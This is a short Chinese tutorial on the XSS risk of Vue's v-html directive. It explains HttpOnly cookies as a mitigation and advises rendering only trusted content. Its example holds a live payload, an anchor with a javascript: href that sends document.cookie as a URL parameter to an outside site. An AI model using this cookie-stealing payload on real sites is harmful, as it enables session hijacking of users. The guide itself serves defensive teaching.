Vue中v-html使用的安全性问题

Vue中的v-html的安全性问题

因为v-html可以完全得去渲染标签节点，所以当我将标签写为

<div id="app">
	<p v-html="str"></p>
</div>
<script>
	var vm = new Vue({
        el: '#app',
        data: {
            str: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>资源</a>'
        }
    });
</script>

这样时，再点击a标签后，不仅会将网站跳转到百度，同时也会将所在网站的cookie以参数的形式传入要跳转的网站中去

如果要跳转的网站是一个比较安全的网站还好，但是如果跳转到一个比较危险的服务器，那么，他们就会拿的关于你当前网站的Cookie，这样就免不了出现一些安全性的问题

其次，我们考虑到Cookie的安全性问题了，相信Cookie的开发者也考虑到了，如下图：
![image-20220330201909477](https://gitee.com/xiaomogui666/img/raw/master/202203302019859.png

当上图右边的HttpOnly为 √ 时，就表示只有在发送Http请求时，Cookie才能够被读取，其他时候是不行的，所以并不是任何时候，我们都可以通过JavaScript去读取Cookie

但是，若网站的编写者没有将一些重要的用户信息设置为HttpOnly，这就会导致信息的泄漏

故总结以下两点：

​ 1.在网站上动态渲染任意HTML是是很危险的，容易导致XSS攻击

​ 2.只能在可信的内容上使用v-html，永远不用在用户提交的内容上，容易遭受攻击